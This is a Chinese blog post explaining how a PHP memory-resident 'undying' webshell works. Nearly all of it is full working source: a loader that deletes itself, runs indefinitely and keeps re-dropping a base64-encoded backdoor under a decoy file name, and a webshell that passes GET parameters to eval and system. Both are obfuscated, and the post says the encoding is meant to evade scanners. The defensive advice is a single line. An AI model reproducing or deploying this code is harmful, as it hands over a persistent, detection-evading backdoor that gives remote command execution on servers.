首页 > 系统相关 > PHP内存木马病毒实现原理剖析

PHP内存木马病毒实现原理剖析

时间:2022-10-22 23:44:42浏览次数:50  
标签:删除 黑帽 内存 木马 PHP 木马病毒

前言

  1. 内存木马,就是在内存中运行的木马病毒,没有代码实体。内存木马有着强隐蔽性,排查困难,杀不死(俗称不死马)的特点。
  2. 网络安全行业,有着很强的木桶效应。系统对抗黑帽,胜负取决于安全最薄弱的环节。黑帽对抗白帽,胜负取决于攻击水平和和毁尸灭迹隐蔽的水平。

正文

本文不讨论是由于任意文件上传还是近源攻击让生产服务器有了一段可访问的恶意代码。

病毒源代码(很简单)

<?php
//设置脚本不超时
set_time_limit(0);ignore_user_abort(true);
//删除文件本体
@unlink(__FILE__);
//给木马病毒起一个迷惑性的名字
$file = './getUserInfo.php';
//死循环常驻内存。释放木马文件
while(true) {
    if(! file_exists($file)) @file_put_contents($file, base64_decode('PD9waHAKaWYoJGUgPSBAJF9HRVRbJ2UnXSkgewogICAgJGZ1bmMgPSBAY3JlYXRlX2Z1bmN0aW9uKG51bGwsIGJhc2U2NF9kZWNvZGUoJ1pYWmhiQ2dpJykgLiAkZSAuIGJhc2U2NF9kZWNvZGUoJ0lpazcnKSk7CiAgICAkZnVuYygpOwp9CgppZigkcyA9IEAkX0dFVFsncyddKSB7CiAgICAkZiA9IHN0cl9yZXBsYWNlKCd4JywgJycsICd4eHhzeHh5eHN4eHh4eHh0eHhleHh4bXh4eHh4eHh4Jyk7CiAgICAkZigkcyk7Cn0='));
    sleep(60);
}

释放病毒本体

<?php
//以下代码实现了eval关键字和system函数的伪装
//eval($_GET['e']);
if($e = @$_GET['e']) {
    $func = @create_function(null, base64_decode('ZXZhbCgi') . $e . base64_decode('Iik7'));
    $func();
}

//system($_GET['s']);
if($s = @$_GET['s']) {
    $f = str_replace('x', '', 'xxxsxxyxsxxxxxxtxxexxxmxxxxxxxx');
    $f($s);
}

说明

  1. 以上关键敏感代码都做了编码,用于避开各种安全扫描的免杀。
  2. 一旦病毒样本运行起来,就会删除掉自身,并长期运行在内存当中。
  3. 就算被释放的木马被识破后删除,还会产生同样的文件。

解决方案

干掉进程后,删除释放的木马文件。

标签:删除,黑帽,内存,木马,PHP,木马病毒
From: https://www.cnblogs.com/phpphp/p/16817615.html

相关文章

  • 创建对象的内存分析
    在java中提倡万物皆对象的思想,所以对于创建一个对象时的内存分析显得很有必要对象的创建流程new关键字会触发java虚拟机进行堆内存的分配,并返回堆内存的地址一个对象......
  • Linux下驱动开发_块设备驱动开发(内存模拟存储)
    theme:scrolls-lighthighlight:vs2015​一、前言块设备驱动块是Linux下3大设备驱动框架之一,块设备主要是针对存储类型的设备设计的驱动,配合文件系统完成数据存储。在应用......
  • Ubuntu编译安装php7.4
    Ubuntu编译安装php7.4[[email protected]]#aptinstallgcclibssl-devlibxml2-devlibsqlite3-devlibcurl3-devlibxml2sqlite3[[email protected]]#......
  • Ubuntu编译安装php7.4
    Ubuntu编译安装php7.4 [[email protected]]#aptinstallgcclibssl-devlibxml2-devlibsqlite3-devlibcurl3-devlibxml2sqlite3 ​ ​ [root@ubuntu......
  • 自动化测试 - php调用jenkins-api构建job
    背景:前一节搭建jenkins并创建了job任务后,用户可以在jenkins平台手动点击构建来执行pytest自动化任务,想实现一个从web界面去触发构建jenkins中的job任务,在这选择使用php来调......
  • wampserver3.2.3-64bit添加php8.x版本
    本文为joshua317原创文章,转载请注明:转载自joshua317博客 https://www.joshua317.com/article/280一、下载下载php8的threadsafe版本,点击这里 下载 ,版本为php8.1.1......
  • PHP中self::和static::的区别
    self关键字在编译时而非运行时确定其作用域static关键字在运行时而非编译时确定其作用域个人理解:编译时就是你看到的文件代码的位置,不关心子类是否继承运行时就是程序......
  • thinkphp 入门笔记
    1. 单数据查询   2.数据集的查询   3.  其他查询       ......
  • 使用PHP执行系统外部命令的四种方法
    准备工作出于安全性考虑,在通常情况下虚拟主机、XAMPP、DedeAMPZ等PHP运行环境都是禁止调用系统外部命令的。所以当你需要使用PHP执行命令的函数调用系统外部命令时,你需......
  • 解决MyEclipse吃内存,让MyEclipse飞起来,MyEclipse速度
    解决MyEclipse吃内存,让MyEclipse飞起来,MyEclipse速度  前言:MyEclipse5.5大小139M;MyEclipse6.5大小451M;MyEclipse7.0大小649M!下载服务器又是国外的。。。下载速度......